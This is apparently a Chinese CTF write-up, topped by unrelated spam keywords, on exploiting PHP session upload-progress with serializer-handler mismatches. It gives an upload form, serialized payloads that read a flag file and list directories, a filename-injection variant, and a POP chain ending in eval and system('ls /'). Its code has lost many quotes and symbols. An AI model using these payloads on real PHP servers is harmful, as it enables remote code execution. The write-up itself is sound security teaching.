企业网站建设专业精准丨 鸣远科技,中国建设银行公司网站官网,title:(网站开发),摄影网站开发背景怎么写参考资料#xff1a;3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
session文件上传漏洞利用原理
当在php.ini中设置session.upload_progress.enabled On的时候#xff0c;PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时#xff0c;以及在将与session…参考资料3. php反序列化从入门到放弃(入门篇) - bmjoker - 博客园
session文件上传漏洞利用原理
当在php.ini中设置session.upload_progress.enabled On的时候PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时上传进度将在$ _SESSION超全局中可用。
在利用漏洞之前在 php.ini 中需配置以下参数
; 启用上传进度跟踪
session.upload_progress.enabled On; 指定表单中用于标识上传进度的字段名必须存在于上传表单中
session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS; 会话中进度数据的前缀默认upload_progress_
session.upload_progress.prefix upload_progress_; 上传完成后自动清理进度数据默认On
session.upload_progress.cleanup On
在文件上传表单中必须包含一个隐藏字段其 name 属性与 session.upload_progress.name 配置一致
form actionupload.php methodPOST enctypemultipart/form-datainput typehidden name?php echo ini_get(session.upload_progress.name); ? valueunique_upload_idinput typefile namefileinput typesubmit valueUpload
/form 在上传处理脚本如 upload.php中注意必须先启动会话
session_start();
例题1
http://web.jarvisoj.com:32784/
?php
//A webshell is wait for you
ini_set(session.serialize_handler, php);
session_start();
class OowoO
{public $mdzz;function __construct(){$this-mdzz phpinfo();;}function __destruct(){eval($this-mdzz);}
}
if(isset($_GET[phpinfo]))
{$m new OowoO();
}
else
{highlight_string(file_get_contents(index.php));
}
?
session.serialize_handler用于指定处理会话数据序列化和反序列化的处理器。会话数据在存储比如存储到文件、数据库等前需要进行序列化读取时再进行反序列化 。session.upload_progress.enables设置为on可以post文件并应用到session中
源代码中设置的是php解释器但是本地默认却是php_serialize解释器解释方式不同引发漏洞 session_start()函数启动后会按照ini_set()中设置的php格式去翻sess_xxxx文件
如果session_xxxx文件中有内容如果文件内容与该代码中要求的php格式相同则进行反序列化如果不相同则清空session_xxxx文件内容
但是我们上传文件到sess_xxxx目录的时候是用php_serialize解释的因此没有把上传的 | 去掉
本地html post提交序列化的东西
form actionhttp://web.jarvisoj.com:32784/index.php methodPOST enctypemultipart/form-datainput typehidden namePHP_SESSION_UPLOAD_PROGRESS value123 /input typefile namefile / input typesubmit /
/form这里的value是识别会话的唯一标志符 文件上传时PHP 将 PHP_SESSION_UPLOAD_PROGRESS 的值写入 $_SESSION键名为 upload_progress_ 唯一标识符。
先post提交名字为PHP_SESSION_UPLOAD_PROGRESS的数据里面的值修改为序列化数据并在前面加上 xxx| 写入的时候是按照php的格式即 | 前面的是键名后面的是真正的内容
xxx|O:5:OowoO:1:{s:4:mdzz;s:88:print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php));;}
当页面加载时如访问 index.phpPHP 自动加载会话数据并反序列化。反序列化的时候是按php_serialize读取数据的此时恶意构造的数据就会成为一个具体的0owo0类
构造序列化payload来读取flag
__FILE__返回当前正在执行的脚本的完整文件名包含路径信息dirname()用于返回文件的目录部分此时参数为__FILE__就是返回当前脚本所在的目录scandir()就是扫描目录并返回一个包含这些文件和目录名称的数组在这里它扫描的是当前脚本所在的目录。
?php
class OowoO
{public $mdzzprint_r(scandir(dirname(__FILE__)));;
}
$m new OowoO();
echo serialize($m);
?
先看看该运行着的文件同级目录中有没有其他文件 发现可疑文件利用file_get_contents()读取但是这个函数读取需要完整的根路径我们知道了__FILE__的路径就知道了该文件的路径
修改$mdzz为print_r(dirname(__FILE__));
返回根目录的路径
所以 Here_1s_7he_fl4g_buT_You_Cannot_see.php 文件路径名就是/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php
修改$mdzz为print_r(file_get_contents(/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php)); 得到flag
方法二也可以在filename中注入序列化内容
php在将sess_xxxx文件反序列化应用在全局变量$_SESSION中的时候用的是php格式也就是本地默认的那个 因为写进去的sess_xxxx文件也是序列化的格式 只要 | 在就能将后面的内容反序列化成一个具体的对象然后根据 }; 来结束 但是在filename中注入序列化和在contents中写入不同的是文件名读取有 限制需要 \ 进行转义否则只读到第一个 就停了
例题2
php.ini配置
session.auto_start Off
session.serialize_handler php_serialize
session.upload_progress.cleanup Off
这里有个 session.upload_progress.cleanup 如果值为 On会导致文件上传后Session文件内容立即清空这个时候就需要利用时间竞争在Session文件内容清空前进行包含利用。
当该值为off的时候
class.php
?php
highlight_string(file_get_contents(basename($_SERVER[PHP_SELF])));
//show_source(__FILE__);
class foo1{public $varr;function __construct(){$this-varr index.php;}function __destruct(){if(file_exists($this-varr)){echo br文件.$this-varr.存在br;}echo br这是foo1的析构函数br;}
}class foo2{public $varr;public $obj;function __construct(){$this-varr 1234567890;$this-obj null;}function __toString(){ // 类被当作字符串时被调用$this-obj-execute();return $this-varr;}function __desctuct(){echo br这是foo2的析构函数br;}
}class foo3{public $varr;function execute(){eval($this-varr);}function __desctuct(){echo br这是foo3的析构函数br;}
}? index.php
?php
ini_set(session.serialize_handler, php);
require(./class.php);
session_start();
$obj new foo1();
$obj-varr phpinfo.php;
?
反序列化pop很好找
?php
class foo1{public $varr;
}class foo2{public $varr;public $obj;function __toString(){ $this-obj-execute();return $this-varr;}
}class foo3{public $varr;function execute(){eval($this-varr);}
}
$anew foo1;
$bnew foo2;
$cnew foo3;
$c-varrsystem(ls /);
$a-varr$b;
$b-obj$c;
?
在ini设置中为php_serialize存储session在php文件中设置为php读取session此时 如果设置session.upload_progress.cleanup On文件上传以后session文件会立即被清空此时需要利用时间竞争来反序列化进行rce